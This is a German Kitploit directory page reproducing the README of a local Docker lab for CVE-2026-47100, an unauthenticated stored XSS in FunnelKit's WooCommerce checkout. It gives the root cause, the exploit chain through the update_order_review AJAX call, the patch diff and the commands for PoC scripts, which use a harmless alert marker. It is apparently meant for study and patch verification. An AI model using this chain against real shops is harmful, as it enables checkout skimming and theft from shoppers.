Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-47100-Analysis-Lab — Lokales Docker-Labor zur Reproduktion von CVE-2026-47100, einer unauthentifizierten Stored-XSS-Schwachstelle in FunnelKit für WooCommerce. Enthält PoC-Skripte zum Vergleich von verwundbaren und gepatchten Versionen. | Kitploit
Tools/GitHubGitHub/rootdirective-sec
/cve-2026-47100-analysis-lab
SchwachstellenanalyseWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

Lokales Docker-Labor zur Reproduktion von CVE-2026-47100, einer unauthentifizierten Stored-XSS-Schwachstelle in FunnelKit für WooCommerce. Enthält PoC-Skripte zum Vergleich von verwundbaren und gepatchten Versionen.

Repository anzeigen
12vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-47100 — FunnelKit / Funnel Builder für WooCommerce Checkout Stored-XSS-Lab

Lokales Docker-Lab zur Reproduktion von CVE-2026-47100 auf sichere, möglichst risikoarme Weise. Dieses Lab vergleicht eine verwundbare FunnelKit-Version mit einer gepatchten Version und verifiziert das Verhalten mithilfe eines harmlosen JavaScript-Markers/Alerts.


1. Übersicht

CVE-2026-47100 ist eine Schwachstelle mit fehlender Autorisierung in Funnel Builder / FunnelKit für WooCommerce Checkout vor Version 3.15.0.3.

Der verwundbare Checkout-AJAX-Ablauf erlaubt es nicht authentifizierten Besuchern, eine interne Plugin-Methode aufzurufen und Daten in FunnelKits integrierte globale Einstellung für externe Skripte zu schreiben. Da diese Einstellung später auf FunnelKit-Checkout-Seiten ausgegeben wird, kann das Problem zu nicht authentifiziertem Stored XSS auf Checkout-Seiten führen.

Dieses Repository reproduziert das Problem lokal mit zwei Docker-Diensten:

DienstVersionURLErwartetes Ergebnis
vuln3.15.0.2http://127.0.0.1:8081verwundbares Verhalten bestätigt
patched3.15.0.3http://127.0.0.1:8082Schreiben blockiert / Marker nicht ausgegeben

2. Screenshot der Vulnx-Erkennung

vulnx

Erste CVE-Auswahl aus der Vulnx-Ausgabe. Das Lab und der PoC wurden manuell durch Vergleich von verwundbarem und gepatchtem Verhalten erstellt.


3. Auswirkungen

Ein nicht authentifizierter Angreifer kann den öffentlichen Checkout-AJAX-Ablauf missbrauchen, um JavaScript dauerhaft in FunnelKits globale Einstellung für externe Skripte zu schreiben.

In einem echten WooCommerce-Shop könnte dadurch bösartiges JavaScript im Browser von Nutzern ausgeführt werden, die die Checkout-Seite besuchen. Öffentliche Berichte haben diese Schwachstellenklasse mit Checkout-Skimming-Kampagnen in Verbindung gebracht.

Dieses Lab verwendet absichtlich nur einen harmlosen Nachweis-Marker:

<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. Grundursache

Die verwundbare Version akzeptiert nutzerkontrollierte Checkout-Daten vom öffentlichen WooCommerce-AJAX-Endpunkt:

/?wc-ajax=update_order_review

Innerhalb des FunnelKit-Checkout-Ablaufs kann die Anfrage Folgendes enthalten:

wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

Die verwundbare Logik prüft, ob der übergebene Aktionsname als Klassenmethode existiert. Wenn die Methode existiert, kann sie aus dem öffentlichen Checkout-Ablauf heraus aufgerufen werden.

Vereinfachtes verwundbares Verhalten:

if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

Die wichtige, vom Angreifer kontrollierte Aktion ist:

update_global_settings_fields

Diese Methode aktualisiert die WordPress-Option:

_wfacp_global_settings

und insbesondere den integrierten FunnelKit-Schlüssel:

wfacp_global_external_script

Der gespeicherte Wert wird später von der Checkout-Vorlage gelesen und auf der Checkout-Seite ausgegeben. Dadurch entsteht die Stored-XSS-Bedingung.

Exploit-Kette:

Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS

5. Zusammenfassung des Patches

Version 3.15.0.3 härtert den verwundbaren Pfad mit zwei wichtigen Änderungen.

5.1 Zulassungsliste für öffentliche Aktionen

Die gepatchte Version schränkt ein, welche Checkout-Aktionen aus dem öffentlichen Checkout-Ablauf aufgerufen werden können.

Vereinfachtes gepatchtes Verhalten:

$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

Dadurch wird verhindert, dass beliebige interne Methoden wie update_global_settings_fields durch nicht authentifizierte Checkout-Anfragen ausgelöst werden.

5.2 Berechtigungsprüfung vor der Aktualisierung der Einstellungen

Die gepatchte Version fügt außerdem eine Autorisierungsprüfung hinzu, bevor globale Einstellungen aktualisiert werden können:

if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

Das bedeutet, dass die globale Einstellung für externe Skripte nur von Benutzern mit WooCommerce-Verwaltungsrechten beschreibbar sein sollte.


6. Lab-Architektur

host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

Der Seed-Prozess erstellt:

Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10

Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11

Das Lab verwendet eine deterministische Checkout-URL:

/?post_type=wfacp_checkout&p=11

Diese lädt den FunnelKit-Checkout-Custom-Post im lokalen Docker-Lab explizit.


7. Das Lab ausführen

Das Lab starten:

docker compose up -d --build

Dienste prüfen:

docker compose ps

Erwartete Dienste:

vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

Python-Abhängigkeiten installieren:

python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. PoC-Skripte

8.1 Lab-PoC

poc/poc_lab.py ist der deterministische Lab-PoC.

Er geht von den lokalen Docker-Seed-Werten aus:

product_id = 10
checkout_post_id = 11

Gegen den verwundbaren Dienst ausführen:

python3 poc/poc_lab.py http://127.0.0.1:8081

Erwartetes Ergebnis:

[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

Gegen den gepatchten Dienst ausführen:

python3 poc/poc_lab.py http://127.0.0.1:8082

Erwartetes Ergebnis:

[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 Generisches autorisiertes Selbsttest-Tool

poc/poc_check.py ist ein portableres autorisiertes Selbsttest-Tool.

Nur passiver Check:

python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

Aktiver autorisierter Check:

python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

Nur-Marker-Modus ohne Alert:

python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

Bereinigungsversuch:

python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. Manueller Test

9.1 Verwundbarer Dienst

Eine neue WooCommerce-Sitzung erstellen und das Lab-Produkt in den Warenkorb legen:

Tool herunterladen